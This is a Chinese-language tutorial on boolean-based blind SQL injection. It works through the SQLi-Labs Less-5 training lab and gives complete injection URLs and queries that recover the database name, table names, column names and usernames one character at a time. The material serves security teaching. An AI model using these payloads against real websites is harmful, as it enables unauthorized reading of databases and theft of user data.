赞
踩
布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true
、 false
使web页面返回true或者false,从而达到注入的目的来获取信息
str
单字符str
字符串str
,length
str
: 字符串length
:截取长度str
,pos
,length
str
: 字符串pos
:开始位置length
: 截取长度思路:利用length或者substr函数来完成
length函数
参数 | 描述 |
---|---|
str | 返回字符串的长度 |
substr函数
参数 | 描述 |
---|---|
str | 字符串 |
pos | 截取字符串开始位置 |
length | 截取字符的长度 |
-- length 返回长度
-- 8是当前数据库'security'的长度
SELECT * from users WHERE id = 1 and (length(database())=8)
-- 也可以使用 > 、< 符号来进一步缩小范围
SELECT * from users WHERE id = 1 and (length(database())>8)
-- 当长度正确就页面就显示正常,其余页面则显示错误
substr函数原理
在构造SQL语句之时,and后面如果跟着一个大于0的数,那么SQL语句正确执行,所以利用此特性,使用substr截取字符,当截取的字符不存在,再通过ascii函数处理之后将会变成false,页面将回显错误
-- substr 返回子字符串
-- 8是当前数据库'security'的长度 ,从第8个开始,取1位,则是'r'
-- 如果pos为9 那么开始位置大于字符串长度,ascii函数处理后将变成false
-- and 后只要不为 0, 页面都会返回正常
SELECT * from users WHERE id = 1 and ascii(substr(database(),8,1))
思路:
利用left 函数,从左至右截取字符串
截取字符判断字符的ascii码,从而确定字符
-- 从左至右截取一个字符
SELECT * from users WHERE id = 1 and (left(database(),1)='s')
-- 从左只有截取两个字符
SELECT * from users WHERE id = 1 and (left(database(),2)='se')
SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),1,1)) = 115)
SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),2,1)) = 101)
使用>
,<
符号来比较查找,找到一个范围,最后再确定
SELECT * from users WHERE id = 1 AND
(select count(table_name) from information_schema.`TABLES` where table_schema = database()) = 4
-- length
SELECT * from users WHERE id = 1
AND (LENGTH(
(select table_name from information_schema.`TABLES` where table_schema = database() LIMIT 0,1)
)) = 6
-- substr
SELECT * from users WHERE id = 1
AND ASCII(SUBSTR(
(select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),
6,1))
SELECT * from users WHERE id = 1
AND ASCII(SUBSTR(
(select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),
1,1)) = 101 -- e
SELECT * from users WHERE id = 1
AND ASCII(SUBSTR(
(select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),
2,1)) = 109 -- m
SELECT * from users WHERE id = 1
AND (select count(column_name) from information_schema.columns where table_name = "users") = 3
SELECT * from users WHERE id = 1
AND ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),
2,1))
SELECT * from users WHERE id = 1
AND ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),
1,1)) = 105
SELECT * from users WHERE id = 1 AND (select count(username) from users) = 13
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select username from users limit 0,1),4,1))
SELECT * from users WHERE id = 1 and ASCII(SUBSTR((select username from users limit 0,1),1,1)) = 68
选择SQL-LABS的LAB5
完成布尔盲注,因为LAB5
是没有回显消息,只能通过页面是否正常显示来完成盲注
在没有回显消息之时,如果报错信息可以显示在页面上,那么也可以通过使用报错注入
http://192.168.1.101/Less-5/?id=1' and (length(database()) = 8)--+
http://192.168.1.101/Less-5/?id=-1' or (left(database(),1) = 's')--+ #从左至右截取一个字符http://192.168.1.101/Less-5/?id=-1' or (left(database(),2) = 'se')--+ #从左至右截取两个字符
http://192.168.1.101/Less-5/?id=-1' or (substr(database(),1,1) = 's')--+
http://192.168.1.101/Less-5/?id=-1' or (substr(database(),2,1) = 'e')--+
http://192.168.1.101/Less-5/?id=-1' or (ascii(substr(database(),1,1)) = 115)--+ # 's'对应的ascii码为115
http://192.168.1.101/Less-5/?id=-1' or (ascii(substr(database(),2,1)) = 101)--+ # ‘e‘对应的ascii码为101
http://192.168.1.101/Less-5/?id=-1' or ASCII(SUBSTR((SELECT table_name from information_schema.`TABLES` where table_schema = database() limit 0,1),7,1)) --+
length
http://192.168.1.101/Less-5/?id=-1' or length((SELECT table_name from information_schema.`TABLES` where table_schema = database() limit 0,1)) = 6 --+
http://192.168.1.101/Less-5/?id=-1' or ASCII(SUBSTR((SELECT table_name from information_schema.`TABLES` where table_schema = database() limit 0,1),1,1)) = 101 --+
格式为 ascii(substr(str,pos,len)) = XXX 其中str为具体值,其含义为猜测security库中的第一个表里的第一个字符进行ascii猜解
http://192.168.1.101/Less-5/?id=-1'
or 3 =
(select count(column_name) from information_schema.columns where table_name = "users") --+
http://192.168.1.101/Less-5/?id=-1'
or
ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),
3,1))--+
http://192.168.1.101/Less-5/?id=-1'
or
ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),
1,1)) = 105--+
http://192.168.1.101/Less-5/?id=-1'
or
(select count(username) from users) = 13--+
http://192.168.1.101/Less-5/?id=-1'
or
ASCII(SUBSTR(
(select username from users limit 0,1),
5,1))--+
http://192.168.1.101/Less-5/?id=-1'
or ASCII(SUBSTR(
(select username from users limit 0,1),
1,1)) = 68--+
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。